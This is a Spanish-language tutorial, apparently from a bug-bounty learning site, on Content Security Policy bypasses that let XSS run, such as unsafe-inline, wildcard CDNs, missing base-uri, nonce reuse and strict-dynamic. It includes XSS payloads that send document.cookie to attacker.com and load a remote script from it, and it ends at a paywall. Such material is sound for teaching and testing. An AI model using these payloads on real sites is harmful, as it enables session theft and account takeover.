Respuesta rápida
CSP bien implementada hace que XSS sea "informational" — el payload no ejecuta. Pero 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) y endpoints JSONP en dominios whitelisted abren huecos. Encadenado con CORS mal configurado (Access-Control-Allow-Origin: * + Allow-Credentials: true, o reflexión del Origin header), el atacante exfiltra datos arbitrarios. La chain típica: XSS contained por CSP → CSP bypass via JSONP/wildcard → CORS misconfig para fetch credentials → exfil.
Anatomía de una CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
style-src 'self' 'unsafe-inline';
img-src * data:;
connect-src 'self' https://api.target.com;
frame-ancestors 'none';
base-uri 'self';
report-uri /csp-report
Las directivas relevantes para XSS:
| Directiva | Propósito | Bypass posible si |
|---|---|---|
script-src | Qué scripts puedes cargar | Contiene unsafe-inline, unsafe-eval, wildcards CDN, dominios con JSONP |
default-src | Fallback | Si la app no setea script-src, defaults aquí |
object-src | <object>, <embed>, <applet> | Si no es 'none', Flash legacy attacks (raro 2026) |
base-uri | <base href> injection | Si no está, atacante setea <base> y redirige relative scripts |
style-src | CSS sources | unsafe-inline permite CSS exfil con expressions |
connect-src | Fetch/XHR/WebSocket destinations | Si es * o tiene wildcards, exfil sin restricción |
frame-ancestors | Quién puede framear esto | Sin él, clickjacking posible |
Bypass 1 — 'unsafe-inline' literal
Content-Security-Policy: script-src 'self' 'unsafe-inline'
La CSP está "presente" pero unsafe-inline la anula para inline scripts. Cualquier XSS clásico funciona sin restricciones. Sigue siendo extremadamente común en SaaS heredados que migraron a CSP sin refactorizar inline handlers.
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>
Bypass 2 — 'unsafe-eval' habilitado
'unsafe-eval' permite eval(), Function(), setTimeout(string). Si el XSS aterriza en un sink donde puedes ejecutar string-as-code, no necesitas inline:
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->
Combinado con Angular legacy (ng-app) o React con dangerouslySetInnerHTML, los template engines se convierten en sinks de eval.
Bypass 3 — Wildcards en script-src
script-src 'self' https://*.cloudfront.net
CloudFront permite a cualquiera hospedar JS estático. El atacante crea su propio bucket S3 → URL del tipo https://attacker-bucket.s3.cloudfront.net/payload.js. CSP lo permite.
<script src="https://attacker.s3.cloudfront.net/p.js"></script>
Variantes peligrosas:
script-src 'self' https://*.googleusercontent.com # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com # S3 público
script-src 'self' https://storage.googleapis.com # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files
Todos los servicios "user-content under CDN" rompen CSP si están whitelisteados.
Bypass 4 — base-uri ausente + relative scripts
Si la app no setea base-uri 'self' pero usa relative <script src="./app.js">:
<!-- XSS injection point -->
<base href="https://attacker.com/">
<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->
Sutil porque la app sigue funcionando si atacante hospeda un app.js benigno + payload. CSP no detecta porque base-uri no la cubre.
Bypass 5 — Nonce reuse o predecible
script-src 'self' 'nonce-abc123'
<script nonce="abc123">window.config = {...}</script>
Si el nonce es:
- Reusado entre requests (cacheable / shared): atacante captura un nonce y lo usa en su payload.
- Predecible (timestamps, counter, weak random): predicting future nonces.
- Reflejado en el HTML como atributo de otro elemento: si el atacante puede inyectar en cualquier atributo del DOM cerca del nonce, copia el valor.
Ejemplo de copy-nonce attack (HTML injection limitado):
<img src=x onerror="
const nonce = document.querySelector('script[nonce]').nonce;
const s = document.createElement('script');
s.setAttribute('nonce', nonce);
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);
">
onerror no ejecuta si la CSP es strict (block inline), pero si el nonce está accessible via .nonce property y CSP permite via wildcard CDN, sí.
Bypass 6 — strict-dynamic + injected script
'strict-dynamic' permite que scripts cargados via API (appendChild) por scripts ya autorizados ejecuten también. Si el atacante consigue ejecutar una sola línea dentro de un script autorizado (vía gadget, DOM clobbering, prototype pollution), puede cargar arbitrary JS:
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);
strict-dynamic da carta blanca al loader autorizado.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Csp Bypass Arsenal
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
Security headers checklist 2026 — CSP, HSTS, X-Frame, Referrer-Policy y más
Audit completo de HTTP security headers que cualquier aplicación moderna debe tener: ejemplos reales, configuración correcta, errores comunes y cómo reportarlos.